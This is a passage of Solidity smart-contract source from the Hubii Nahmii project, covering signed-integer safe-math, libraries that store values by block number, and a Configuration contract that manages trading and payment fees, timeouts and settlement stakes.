{
return registeredServicesMap[service].registered;
}
/// @notice Gauge whether a service contract is registered and active
/// @param service The address of the service contract
/// @return true if service is registered and activate, else false
function isRegisteredActiveService(address service)
public
view
returns (bool)
{
return isRegisteredService(service) && block.timestamp >= registeredServicesMap[service].activationTimestamp;
}
/// @notice Gauge whether a service contract action is enabled which implies also registered and active
/// @param service The address of the service contract
/// @param action The name of action
function isEnabledServiceAction(address service, string action)
public
view
returns (bool)
{
bytes32 actionHash = hashString(action);
return isRegisteredActiveService(service) && registeredServicesMap[service].actionsEnabledMap[actionHash];
}
//
// Internal functions
// -----------------------------------------------------------------------------------------------------------------
function hashString(string _string)
internal
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(_string));
}
//
// Private functions
// -----------------------------------------------------------------------------------------------------------------
function _registerService(address service, uint256 timeout)
private
{
if (!registeredServicesMap[service].registered) {
registeredServicesMap[service].registered = true;
registeredServicesMap[service].activationTimestamp = block.timestamp + timeout;
}
}
//
// Modifiers
// -----------------------------------------------------------------------------------------------------------------
modifier onlyActiveService() {
require(isRegisteredActiveService(msg.sender));
_;
}
modifier onlyEnabledServiceAction(string action) {
require(isEnabledServiceAction(msg.sender, action));
_;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS based on Open-Zeppelin's SafeMath library
*/
/**
* @title SafeMathIntLib
* @dev Math operations with safety checks that throw on error
*/
library SafeMathIntLib {
int256 constant INT256_MIN = int256((uint256(1) << 255));
int256 constant INT256_MAX = int256(~((uint256(1) << 255)));
//
//Functions below accept positive and negative integers and result must not overflow.
//
function div(int256 a, int256 b)
internal
pure
returns (int256)
{
require(a != INT256_MIN || b != - 1);
return a / b;
}
function mul(int256 a, int256 b)
internal
pure
returns (int256)
{
require(a != - 1 || b != INT256_MIN);
// overflow
require(b != - 1 || a != INT256_MIN);
// overflow
int256 c = a * b;
require((b == 0) || (c / b == a));
return c;
}
function sub(int256 a, int256 b)
internal
pure
returns (int256)
{
require((b >= 0 && a - b <= a) || (b < 0 && a - b > a));
return a - b;
}
function add(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
//
//Functions below only accept positive integers and result must be greater or equal to zero too.
//
function div_nn(int256 a, int256 b)
internal
pure
returns (int256)
{
require(a >= 0 && b > 0);
return a / b;
}
function mul_nn(int256 a, int256 b)
internal
pure
returns (int256)
{
require(a >= 0 && b >= 0);
int256 c = a * b;
require(a == 0 || c / a == b);
require(c >= 0);
return c;
}
function sub_nn(int256 a, int256 b)
internal
pure
returns (int256)
{
require(a >= 0 && b >= 0 && b <= a);
return a - b;
}
function add_nn(int256 a, int256 b)
internal
pure
returns (int256)
{
require(a >= 0 && b >= 0);
int256 c = a + b;
require(c >= a);
return c;
}
//
//Conversion and validation functions.
//
function abs(int256 a)
public
pure
returns (int256)
{
return a < 0 ? neg(a) : a;
}
function neg(int256 a)
public
pure
returns (int256)
{
return mul(a, - 1);
}
function toNonZeroInt256(uint256 a)
public
pure
returns (int256)
{
require(a > 0 && a < (uint256(1) << 255));
return int256(a);
}
function toInt256(uint256 a)
public
pure
returns (int256)
{
require(a >= 0 && a < (uint256(1) << 255));
return int256(a);
}
function toUInt256(int256 a)
public
pure
returns (uint256)
{
require(a >= 0);
return uint256(a);
}
function isNonZeroPositiveInt256(int256 a)
public
pure
returns (bool)
{
return (a > 0);
}
function isPositiveInt256(int256 a)
public
pure
returns (bool)
{
return (a >= 0);
}
function isNonZeroNegativeInt256(int256 a)
public
pure
returns (bool)
{
return (a < 0);
}
function isNegativeInt256(int256 a)
public
pure
returns (bool)
{
return (a <= 0);
}
//
//Clamping functions.
//
function clamp(int256 a, int256 min, int256 max)
public
pure
returns (int256)
{
if (a < min)
return min;
return (a > max) ? max : a;
}
function clampMin(int256 a, int256 min)
public
pure
returns (int256)
{
return (a < min) ? min : a;
}
function clampMax(int256 a, int256 max)
public
pure
returns (int256)
{
return (a > max) ? max : a;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
library BlockNumbUintsLib {
//
// Structures
// -----------------------------------------------------------------------------------------------------------------
struct Entry {
uint256 blockNumber;
uint256 value;
}
struct BlockNumbUints {
Entry[] entries;
}
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
function currentValue(BlockNumbUints storage self)
internal
view
returns (uint256)
{
return valueAt(self, block.number);
}
function currentEntry(BlockNumbUints storage self)
internal
view
returns (Entry)
{
return entryAt(self, block.number);
}
function valueAt(BlockNumbUints storage self, uint256 _blockNumber)
internal
view
returns (uint256)
{
return entryAt(self, _blockNumber).value;
}
function entryAt(BlockNumbUints storage self, uint256 _blockNumber)
internal
view
returns (Entry)
{
return self.entries[indexByBlockNumber(self, _blockNumber)];
}
function addEntry(BlockNumbUints storage self, uint256 blockNumber, uint256 value)
internal
{
require(
0 == self.entries.length ||
blockNumber > self.entries[self.entries.length - 1].blockNumber
);
self.entries.push(Entry(blockNumber, value));
}
function count(BlockNumbUints storage self)
internal
view
returns (uint256)
{
return self.entries.length;
}
function entries(BlockNumbUints storage self)
internal
view
returns (Entry[])
{
return self.entries;
}
function indexByBlockNumber(BlockNumbUints storage self, uint256 blockNumber)
internal
view
returns (uint256)
{
require(0 < self.entries.length);
for (uint256 i = self.entries.length - 1; i >= 0; i--)
if (blockNumber >= self.entries[i].blockNumber)
return i;
revert();
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
library BlockNumbIntsLib {
//
// Structures
// -----------------------------------------------------------------------------------------------------------------
struct Entry {
uint256 blockNumber;
int256 value;
}
struct BlockNumbInts {
Entry[] entries;
}
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
function currentValue(BlockNumbInts storage self)
internal
view
returns (int256)
{
return valueAt(self, block.number);
}
function currentEntry(BlockNumbInts storage self)
internal
view
returns (Entry)
{
return entryAt(self, block.number);
}
function valueAt(BlockNumbInts storage self, uint256 _blockNumber)
internal
view
returns (int256)
{
return entryAt(self, _blockNumber).value;
}
function entryAt(BlockNumbInts storage self, uint256 _blockNumber)
internal
view
returns (Entry)
{
return self.entries[indexByBlockNumber(self, _blockNumber)];
}
function addEntry(BlockNumbInts storage self, uint256 blockNumber, int256 value)
internal
{
require(
0 == self.entries.length ||
blockNumber > self.entries[self.entries.length - 1].blockNumber
);
self.entries.push(Entry(blockNumber, value));
}
function count(BlockNumbInts storage self)
internal
view
returns (uint256)
{
return self.entries.length;
}
function entries(BlockNumbInts storage self)
internal
view
returns (Entry[])
{
return self.entries;
}
function indexByBlockNumber(BlockNumbInts storage self, uint256 blockNumber)
internal
view
returns (uint256)
{
require(0 < self.entries.length);
for (uint256 i = self.entries.length - 1; i >= 0; i--)
if (blockNumber >= self.entries[i].blockNumber)
return i;
revert();
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
library ConstantsLib {
// Get the fraction that represents the entirety, equivalent of 100%
function PARTS_PER()
public
pure
returns (int256)
{
return 1e18;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
library BlockNumbDisdIntsLib {
using SafeMathIntLib for int256;
//
// Structures
// -----------------------------------------------------------------------------------------------------------------
struct Discount {
int256 tier;
int256 value;
}
struct Entry {
uint256 blockNumber;
int256 nominal;
Discount[] discounts;
}
struct BlockNumbDisdInts {
Entry[] entries;
}
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
function currentNominalValue(BlockNumbDisdInts storage self)
internal
view
returns (int256)
{
return nominalValueAt(self, block.number);
}
function currentDiscountedValue(BlockNumbDisdInts storage self, int256 tier)
internal
view
returns (int256)
{
return discountedValueAt(self, block.number, tier);
}
function currentEntry(BlockNumbDisdInts storage self)
internal
view
returns (Entry)
{
return entryAt(self, block.number);
}
function nominalValueAt(BlockNumbDisdInts storage self, uint256 _blockNumber)
internal
view
returns (int256)
{
return entryAt(self, _blockNumber).nominal;
}
function discountedValueAt(BlockNumbDisdInts storage self, uint256 _blockNumber, int256 tier)
internal
view
returns (int256)
{
Entry memory entry = entryAt(self, _blockNumber);
if (0 < entry.discounts.length) {
uint256 index = indexByTier(entry.discounts, tier);
if (0 < index)
return entry.nominal.mul(
ConstantsLib.PARTS_PER().sub(entry.discounts[index - 1].value)
).div(
ConstantsLib.PARTS_PER()
);
else
return entry.nominal;
} else
return entry.nominal;
}
function entryAt(BlockNumbDisdInts storage self, uint256 _blockNumber)
internal
view
returns (Entry)
{
return self.entries[indexByBlockNumber(self, _blockNumber)];
}
function addNominalEntry(BlockNumbDisdInts storage self, uint256 blockNumber, int256 nominal)
internal
{
require(
0 == self.entries.length ||
blockNumber > self.entries[self.entries.length - 1].blockNumber
);
self.entries.length++;
Entry storage entry = self.entries[self.entries.length - 1];
entry.blockNumber = blockNumber;
entry.nominal = nominal;
}
function addDiscountedEntry(BlockNumbDisdInts storage self, uint256 blockNumber, int256 nominal,
int256[] discountTiers, int256[] discountValues)
internal
{
require(discountTiers.length == discountValues.length);
addNominalEntry(self, blockNumber, nominal);
Entry storage entry = self.entries[self.entries.length - 1];
for (uint256 i = 0; i < discountTiers.length; i++)
entry.discounts.push(Discount(discountTiers[i], discountValues[i]));
}
function count(BlockNumbDisdInts storage self)
internal
view
returns (uint256)
{
return self.entries.length;
}
function entries(BlockNumbDisdInts storage self)
internal
view
returns (Entry[])
{
return self.entries;
}
function indexByBlockNumber(BlockNumbDisdInts storage self, uint256 blockNumber)
internal
view
returns (uint256)
{
require(0 < self.entries.length);
for (uint256 i = self.entries.length - 1; i >= 0; i--)
if (blockNumber >= self.entries[i].blockNumber)
return i;
revert();
}
/// @dev The index returned here is 1-based
function indexByTier(Discount[] discounts, int256 tier)
internal
pure
returns (uint256)
{
require(0 < discounts.length);
for (uint256 i = discounts.length; i > 0; i--)
if (tier >= discounts[i - 1].tier)
return i;
return 0;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title MonetaryTypesLib
* @dev Monetary data types
*/
library MonetaryTypesLib {
//
// Structures
// -----------------------------------------------------------------------------------------------------------------
struct Currency {
address ct;
uint256 id;
}
struct Figure {
int256 amount;
Currency currency;
}
struct NoncedAmount {
uint256 nonce;
int256 amount;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
library BlockNumbReferenceCurrenciesLib {
//
// Structures
// -----------------------------------------------------------------------------------------------------------------
struct Entry {
uint256 blockNumber;
MonetaryTypesLib.Currency currency;
}
struct BlockNumbReferenceCurrencies {
mapping(address => mapping(uint256 => Entry[])) entriesByCurrency;
}
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
function currentCurrency(BlockNumbReferenceCurrencies storage self, MonetaryTypesLib.Currency referenceCurrency)
internal
view
returns (MonetaryTypesLib.Currency storage)
{
return currencyAt(self, referenceCurrency, block.number);
}
function currentEntry(BlockNumbReferenceCurrencies storage self, MonetaryTypesLib.Currency referenceCurrency)
internal
view
returns (Entry storage)
{
return entryAt(self, referenceCurrency, block.number);
}
function currencyAt(BlockNumbReferenceCurrencies storage self, MonetaryTypesLib.Currency referenceCurrency,
uint256 _blockNumber)
internal
view
returns (MonetaryTypesLib.Currency storage)
{
return entryAt(self, referenceCurrency, _blockNumber).currency;
}
function entryAt(BlockNumbReferenceCurrencies storage self, MonetaryTypesLib.Currency referenceCurrency,
uint256 _blockNumber)
internal
view
returns (Entry storage)
{
return self.entriesByCurrency[referenceCurrency.ct][referenceCurrency.id][indexByBlockNumber(self, referenceCurrency, _blockNumber)];
}
function addEntry(BlockNumbReferenceCurrencies storage self, uint256 blockNumber,
MonetaryTypesLib.Currency referenceCurrency, MonetaryTypesLib.Currency currency)
internal
{
require(
0 == self.entriesByCurrency[referenceCurrency.ct][referenceCurrency.id].length ||
blockNumber > self.entriesByCurrency[referenceCurrency.ct][referenceCurrency.id][self.entriesByCurrency[referenceCurrency.ct][referenceCurrency.id].length - 1].blockNumber
);
self.entriesByCurrency[referenceCurrency.ct][referenceCurrency.id].push(Entry(blockNumber, currency));
}
function count(BlockNumbReferenceCurrencies storage self, MonetaryTypesLib.Currency referenceCurrency)
internal
view
returns (uint256)
{
return self.entriesByCurrency[referenceCurrency.ct][referenceCurrency.id].length;
}
function entriesByCurrency(BlockNumbReferenceCurrencies storage self, MonetaryTypesLib.Currency referenceCurrency)
internal
view
returns (Entry[] storage)
{
return self.entriesByCurrency[referenceCurrency.ct][referenceCurrency.id];
}
function indexByBlockNumber(BlockNumbReferenceCurrencies storage self, MonetaryTypesLib.Currency referenceCurrency, uint256 blockNumber)
internal
view
returns (uint256)
{
require(0 < self.entriesByCurrency[referenceCurrency.ct][referenceCurrency.id].length);
for (uint256 i = self.entriesByCurrency[referenceCurrency.ct][referenceCurrency.id].length - 1; i >= 0; i--)
if (blockNumber >= self.entriesByCurrency[referenceCurrency.ct][referenceCurrency.id][i].blockNumber)
return i;
revert();
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
library BlockNumbFiguresLib {
//
// Structures
// -----------------------------------------------------------------------------------------------------------------
struct Entry {
uint256 blockNumber;
MonetaryTypesLib.Figure value;
}
struct BlockNumbFigures {
Entry[] entries;
}
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
function currentValue(BlockNumbFigures storage self)
internal
view
returns (MonetaryTypesLib.Figure storage)
{
return valueAt(self, block.number);
}
function currentEntry(BlockNumbFigures storage self)
internal
view
returns (Entry storage)
{
return entryAt(self, block.number);
}
function valueAt(BlockNumbFigures storage self, uint256 _blockNumber)
internal
view
returns (MonetaryTypesLib.Figure storage)
{
return entryAt(self, _blockNumber).value;
}
function entryAt(BlockNumbFigures storage self, uint256 _blockNumber)
internal
view
returns (Entry storage)
{
return self.entries[indexByBlockNumber(self, _blockNumber)];
}
function addEntry(BlockNumbFigures storage self, uint256 blockNumber, MonetaryTypesLib.Figure value)
internal
{
require(
0 == self.entries.length ||
blockNumber > self.entries[self.entries.length - 1].blockNumber
);
self.entries.push(Entry(blockNumber, value));
}
function count(BlockNumbFigures storage self)
internal
view
returns (uint256)
{
return self.entries.length;
}
function entries(BlockNumbFigures storage self)
internal
view
returns (Entry[] storage)
{
return self.entries;
}
function indexByBlockNumber(BlockNumbFigures storage self, uint256 blockNumber)
internal
view
returns (uint256)
{
require(0 < self.entries.length);
for (uint256 i = self.entries.length - 1; i >= 0; i--)
if (blockNumber >= self.entries[i].blockNumber)
return i;
revert();
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title Configuration
* @notice An oracle for configurations values
*/
contract Configuration is Modifiable, Ownable, Servable {
using SafeMathIntLib for int256;
using BlockNumbUintsLib for BlockNumbUintsLib.BlockNumbUints;
using BlockNumbIntsLib for BlockNumbIntsLib.BlockNumbInts;
using BlockNumbDisdIntsLib for BlockNumbDisdIntsLib.BlockNumbDisdInts;
using BlockNumbReferenceCurrenciesLib for BlockNumbReferenceCurrenciesLib.BlockNumbReferenceCurrencies;
using BlockNumbFiguresLib for BlockNumbFiguresLib.BlockNumbFigures;
//
// Constants
// -----------------------------------------------------------------------------------------------------------------
string constant public OPERATIONAL_MODE_ACTION = "operational_mode";
//
// Enums
// -----------------------------------------------------------------------------------------------------------------
enum OperationalMode {Normal, Exit}
//
// Variables
// -----------------------------------------------------------------------------------------------------------------
OperationalMode public operationalMode = OperationalMode.Normal;
BlockNumbUintsLib.BlockNumbUints private updateDelayBlocksByBlockNumber;
BlockNumbUintsLib.BlockNumbUints private confirmationBlocksByBlockNumber;
BlockNumbDisdIntsLib.BlockNumbDisdInts private tradeMakerFeeByBlockNumber;
BlockNumbDisdIntsLib.BlockNumbDisdInts private tradeTakerFeeByBlockNumber;
BlockNumbDisdIntsLib.BlockNumbDisdInts private paymentFeeByBlockNumber;
mapping(address => mapping(uint256 => BlockNumbDisdIntsLib.BlockNumbDisdInts)) private currencyPaymentFeeByBlockNumber;
BlockNumbIntsLib.BlockNumbInts private tradeMakerMinimumFeeByBlockNumber;
BlockNumbIntsLib.BlockNumbInts private tradeTakerMinimumFeeByBlockNumber;
BlockNumbIntsLib.BlockNumbInts private paymentMinimumFeeByBlockNumber;
mapping(address => mapping(uint256 => BlockNumbIntsLib.BlockNumbInts)) private currencyPaymentMinimumFeeByBlockNumber;
BlockNumbReferenceCurrenciesLib.BlockNumbReferenceCurrencies private feeCurrencyByCurrencyBlockNumber;
BlockNumbUintsLib.BlockNumbUints private walletLockTimeoutByBlockNumber;
BlockNumbUintsLib.BlockNumbUints private cancelOrderChallengeTimeoutByBlockNumber;
BlockNumbUintsLib.BlockNumbUints private settlementChallengeTimeoutByBlockNumber;
BlockNumbUintsLib.BlockNumbUints private fraudStakeFractionByBlockNumber;
BlockNumbUintsLib.BlockNumbUints private walletSettlementStakeFractionByBlockNumber;
BlockNumbUintsLib.BlockNumbUints private operatorSettlementStakeFractionByBlockNumber;
BlockNumbFiguresLib.BlockNumbFigures private operatorSettlementStakeByBlockNumber;
uint256 public earliestSettlementBlockNumber;
bool public earliestSettlementBlockNumberUpdateDisabled;
//
// Events
// -----------------------------------------------------------------------------------------------------------------
event SetOperationalModeExitEvent();
event SetUpdateDelayBlocksEvent(uint256 fromBlockNumber, uint256 newBlocks);
event SetConfirmationBlocksEvent(uint256 fromBlockNumber, uint256 newBlocks);
event SetTradeMakerFeeEvent(uint256 fromBlockNumber, int256 nominal, int256[] discountTiers, int256[] discountValues);
event SetTradeTakerFeeEvent(uint256 fromBlockNumber, int256 nominal, int256[] discountTiers, int256[] discountValues);
event SetPaymentFeeEvent(uint256 fromBlockNumber, int256 nominal, int256[] discountTiers, int256[] discountValues);
event SetCurrencyPaymentFeeEvent(uint256 fromBlockNumber, address currencyCt, uint256 currencyId, int256 nominal,
int256[] discountTiers, int256[] discountValues);
event SetTradeMakerMinimumFeeEvent(uint256 fromBlockNumber, int256 nominal);
event SetTradeTakerMinimumFeeEvent(uint256 fromBlockNumber, int256 nominal);
event SetPaymentMinimumFeeEvent(uint256 fromBlockNumber, int256 nominal);
event SetCurrencyPaymentMinimumFeeEvent(uint256 fromBlockNumber, address currencyCt, uint256 currencyId, int256 nominal);
event SetFeeCurrencyEvent(uint256 fromBlockNumber, address referenceCurrencyCt, uint256 referenceCurrencyId,
address feeCurrencyCt, uint256 feeCurrencyId);
event SetWalletLockTimeoutEvent(uint256 fromBlockNumber, uint256 timeoutInSeconds);
event SetCancelOrderChallengeTimeoutEvent(uint256 fromBlockNumber, uint256 timeoutInSeconds);
event SetSettlementChallengeTimeoutEvent(uint256 fromBlockNumber, uint256 timeoutInSeconds);
event SetWalletSettlementStakeFractionEvent(uint256 fromBlockNumber, uint256 stakeFraction);
event SetOperatorSettlementStakeFractionEvent(uint256 fromBlockNumber, uint256 stakeFraction);
event SetOperatorSettlementStakeEvent(uint256 fromBlockNumber, int256 stakeAmount, address stakeCurrencyCt,
uint256 stakeCurrencyId);
event SetFraudStakeFractionEvent(uint256 fromBlockNumber, uint256 stakeFraction);
event SetEarliestSettlementBlockNumberEvent(uint256 earliestSettlementBlockNumber);
event DisableEarliestSettlementBlockNumberUpdateEvent();
//
// Constructor
// -----------------------------------------------------------------------------------------------------------------
constructor(address deployer) Ownable(deployer) public {
updateDelayBlocksByBlockNumber.addEntry(block.number, 0);
}
//
// Public functions
// -----------------------------------------------------------------------------------------------------------------
/// @notice Set operational mode to Exit
/// @dev Once operational mode is set to Exit it may not be set back to Normal
function setOperationalModeExit()
public
onlyEnabledServiceAction(OPERATIONAL_MODE_ACTION)
{
operationalMode = OperationalMode.Exit;
emit SetOperationalModeExitEvent();
}
/// @notice Return true if operational mode is Normal
function isOperationalModeNormal()
public
view
returns (bool)
{
return OperationalMode.Normal == operationalMode;
}
/// @notice Return true if operational mode is Exit
function isOperationalModeExit()
public
view
returns (bool)
{
return OperationalMode.Exit == operationalMode;
}
/// @notice Get the current value of update delay blocks
/// @return The value of update delay blocks
function updateDelayBlocks()
public
view
returns (uint256)
{
return updateDelayBlocksByBlockNumber.currentValue();
}
/// @notice Get the count of update delay blocks values
/// @return The count of update delay blocks values
function updateDelayBlocksCount()
public
view
returns (uint256)
{
return updateDelayBlocksByBlockNumber.count();
}
/// @notice Set the number of update delay blocks
/// @param fromBlockNumber Block number from which the update applies
/// @param newUpdateDelayBlocks The new update delay blocks value
function setUpdateDelayBlocks(uint256 fromBlockNumber, uint256 newUpdateDelayBlocks)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
updateDelayBlocksByBlockNumber.addEntry(fromBlockNumber, newUpdateDelayBlocks);
emit SetUpdateDelayBlocksEvent(fromBlockNumber, newUpdateDelayBlocks);
}
/// @notice Get the current value of confirmation blocks
/// @return The value of confirmation blocks
function confirmationBlocks()
public
view
returns (uint256)
{
return confirmationBlocksByBlockNumber.currentValue();
}
/// @notice Get the count of confirmation blocks values
/// @return The count of confirmation blocks values
function confirmationBlocksCount()
public
view
returns (uint256)
{
return confirmationBlocksByBlockNumber.count();
}
/// @notice Set the number of confirmation blocks
/// @param fromBlockNumber Block number from which the update applies
/// @param newConfirmationBlocks The new confirmation blocks value
function setConfirmationBlocks(uint256 fromBlockNumber, uint256 newConfirmationBlocks)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
confirmationBlocksByBlockNumber.addEntry(fromBlockNumber, newConfirmationBlocks);
emit SetConfirmationBlocksEvent(fromBlockNumber, newConfirmationBlocks);
}
/// @notice Get number of trade maker fee block number tiers
function tradeMakerFeesCount()
public
view
returns (uint256)
{
return tradeMakerFeeByBlockNumber.count();
}
/// @notice Get trade maker relative fee at given block number, possibly discounted by discount tier value
/// @param blockNumber The concerned block number
/// @param discountTier The concerned discount tier
function tradeMakerFee(uint256 blockNumber, int256 discountTier)
public
view
returns (int256)
{
return tradeMakerFeeByBlockNumber.discountedValueAt(blockNumber, discountTier);
}
/// @notice Set trade maker nominal relative fee and discount tiers and values at given block number tier
/// @param fromBlockNumber Block number from which the update applies
/// @param nominal Nominal relative fee
/// @param nominal Discount tier levels
/// @param nominal Discount values
function setTradeMakerFee(uint256 fromBlockNumber, int256 nominal, int256[] discountTiers, int256[] discountValues)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
tradeMakerFeeByBlockNumber.addDiscountedEntry(fromBlockNumber, nominal, discountTiers, discountValues);
emit SetTradeMakerFeeEvent(fromBlockNumber, nominal, discountTiers, discountValues);
}
/// @notice Get number of trade taker fee block number tiers
function tradeTakerFeesCount()
public
view
returns (uint256)
{
return tradeTakerFeeByBlockNumber.count();
}
/// @notice Get trade taker relative fee at given block number, possibly discounted by discount tier value
/// @param blockNumber The concerned block number
/// @param discountTier The concerned discount tier
function tradeTakerFee(uint256 blockNumber, int256 discountTier)
public
view
returns (int256)
{
return tradeTakerFeeByBlockNumber.discountedValueAt(blockNumber, discountTier);
}
/// @notice Set trade taker nominal relative fee and discount tiers and values at given block number tier
/// @param fromBlockNumber Block number from which the update applies
/// @param nominal Nominal relative fee
/// @param nominal Discount tier levels
/// @param nominal Discount values
function setTradeTakerFee(uint256 fromBlockNumber, int256 nominal, int256[] discountTiers, int256[] discountValues)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
tradeTakerFeeByBlockNumber.addDiscountedEntry(fromBlockNumber, nominal, discountTiers, discountValues);
emit SetTradeTakerFeeEvent(fromBlockNumber, nominal, discountTiers, discountValues);
}
/// @notice Get number of payment fee block number tiers
function paymentFeesCount()
public
view
returns (uint256)
{
return paymentFeeByBlockNumber.count();
}
/// @notice Get payment relative fee at given block number, possibly discounted by discount tier value
/// @param blockNumber The concerned block number
/// @param discountTier The concerned discount tier
function paymentFee(uint256 blockNumber, int256 discountTier)
public
view
returns (int256)
{
return paymentFeeByBlockNumber.discountedValueAt(blockNumber, discountTier);
}
/// @notice Set payment nominal relative fee and discount tiers and values at given block number tier
/// @param fromBlockNumber Block number from which the update applies
/// @param nominal Nominal relative fee
/// @param nominal Discount tier levels
/// @param nominal Discount values
function setPaymentFee(uint256 fromBlockNumber, int256 nominal, int256[] discountTiers, int256[] discountValues)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
paymentFeeByBlockNumber.addDiscountedEntry(fromBlockNumber, nominal, discountTiers, discountValues);
emit SetPaymentFeeEvent(fromBlockNumber, nominal, discountTiers, discountValues);
}
/// @notice Get number of payment fee block number tiers of given currency
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
function currencyPaymentFeesCount(address currencyCt, uint256 currencyId)
public
view
returns (uint256)
{
return currencyPaymentFeeByBlockNumber[currencyCt][currencyId].count();
}
/// @notice Get payment relative fee for given currency at given block number, possibly discounted by
/// discount tier value
/// @param blockNumber The concerned block number
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// @param discountTier The concerned discount tier
function currencyPaymentFee(uint256 blockNumber, address currencyCt, uint256 currencyId, int256 discountTier)
public
view
returns (int256)
{
if (0 < currencyPaymentFeeByBlockNumber[currencyCt][currencyId].count())
return currencyPaymentFeeByBlockNumber[currencyCt][currencyId].discountedValueAt(
blockNumber, discountTier
);
else
return paymentFee(blockNumber, discountTier);
}
/// @notice Set payment nominal relative fee and discount tiers and values for given currency at given
/// block number tier
/// @param fromBlockNumber Block number from which the update applies
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// @param nominal Nominal relative fee
/// @param nominal Discount tier levels
/// @param nominal Discount values
function setCurrencyPaymentFee(uint256 fromBlockNumber, address currencyCt, uint256 currencyId, int256 nominal,
int256[] discountTiers, int256[] discountValues)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
currencyPaymentFeeByBlockNumber[currencyCt][currencyId].addDiscountedEntry(
fromBlockNumber, nominal, discountTiers, discountValues
);
emit SetCurrencyPaymentFeeEvent(
fromBlockNumber, currencyCt, currencyId, nominal, discountTiers, discountValues
);
}
/// @notice Get number of minimum trade maker fee block number tiers
function tradeMakerMinimumFeesCount()
public
view
returns (uint256)
{
return tradeMakerMinimumFeeByBlockNumber.count();
}
/// @notice Get trade maker minimum relative fee at given block number
/// @param blockNumber The concerned block number
function tradeMakerMinimumFee(uint256 blockNumber)
public
view
returns (int256)
{
return tradeMakerMinimumFeeByBlockNumber.valueAt(blockNumber);
}
/// @notice Set trade maker minimum relative fee at given block number tier
/// @param fromBlockNumber Block number from which the update applies
/// @param nominal Minimum relative fee
function setTradeMakerMinimumFee(uint256 fromBlockNumber, int256 nominal)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
tradeMakerMinimumFeeByBlockNumber.addEntry(fromBlockNumber, nominal);
emit SetTradeMakerMinimumFeeEvent(fromBlockNumber, nominal);
}
/// @notice Get number of minimum trade taker fee block number tiers
function tradeTakerMinimumFeesCount()
public
view
returns (uint256)
{
return tradeTakerMinimumFeeByBlockNumber.count();
}
/// @notice Get trade taker minimum relative fee at given block number
/// @param blockNumber The concerned block number
function tradeTakerMinimumFee(uint256 blockNumber)
public
view
returns (int256)
{
return tradeTakerMinimumFeeByBlockNumber.valueAt(blockNumber);
}
/// @notice Set trade taker minimum relative fee at given block number tier
/// @param fromBlockNumber Block number from which the update applies
/// @param nominal Minimum relative fee
function setTradeTakerMinimumFee(uint256 fromBlockNumber, int256 nominal)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
tradeTakerMinimumFeeByBlockNumber.addEntry(fromBlockNumber, nominal);
emit SetTradeTakerMinimumFeeEvent(fromBlockNumber, nominal);
}
/// @notice Get number of minimum payment fee block number tiers
function paymentMinimumFeesCount()
public
view
returns (uint256)
{
return paymentMinimumFeeByBlockNumber.count();
}
/// @notice Get payment minimum relative fee at given block number
/// @param blockNumber The concerned block number
function paymentMinimumFee(uint256 blockNumber)
public
view
returns (int256)
{
return paymentMinimumFeeByBlockNumber.valueAt(blockNumber);
}
/// @notice Set payment minimum relative fee at given block number tier
/// @param fromBlockNumber Block number from which the update applies
/// @param nominal Minimum relative fee
function setPaymentMinimumFee(uint256 fromBlockNumber, int256 nominal)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
paymentMinimumFeeByBlockNumber.addEntry(fromBlockNumber, nominal);
emit SetPaymentMinimumFeeEvent(fromBlockNumber, nominal);
}
/// @notice Get number of minimum payment fee block number tiers for given currency
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
function currencyPaymentMinimumFeesCount(address currencyCt, uint256 currencyId)
public
view
returns (uint256)
{
return currencyPaymentMinimumFeeByBlockNumber[currencyCt][currencyId].count();
}
/// @notice Get payment minimum relative fee for given currency at given block number
/// @param blockNumber The concerned block number
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
function currencyPaymentMinimumFee(uint256 blockNumber, address currencyCt, uint256 currencyId)
public
view
returns (int256)
{
